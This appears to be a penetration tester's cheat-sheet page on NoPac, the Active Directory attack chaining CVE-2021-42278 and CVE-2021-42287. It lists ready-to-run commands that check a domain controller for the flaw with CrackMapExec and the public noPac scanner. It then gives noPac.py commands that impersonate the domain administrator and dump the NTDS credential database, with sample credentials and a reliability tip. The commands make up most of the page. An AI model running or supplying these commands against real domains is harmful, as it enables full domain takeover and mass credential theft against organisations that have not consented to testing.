NoPac

The exploitation of both CVE-2021-42278 and CVE-2021-42287 allows for a standard domain user to impersonate a domain administrator, ultimately gaining full access to the domain.

Verification

Verifying if a domain controller is vulnerable to NoPac requires a valid domain user account. Additionally, your time will have to be synced with the domain controller if any issues are output when running validation with publicly available proof of concepts of CrackMapExec.

# CrackMapExec
crackmapexec smb $host -u $user -p $password -M nopac

# https://github.com/Ridter/noPac
python scanner.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip

Exploitation

When attempting to exploit NoPac, I have found that updating /etc/hosts with the hostname of the domain controller often results in more reliable exploitation.

# https://github.com/Ridter/noPac
## Dump the NTDS from the Domain Controller (preferred exploitation action)
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip -dc-host $dcfqdn --impersonate administrator -dump

## Get Service Ticket
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip

Last updated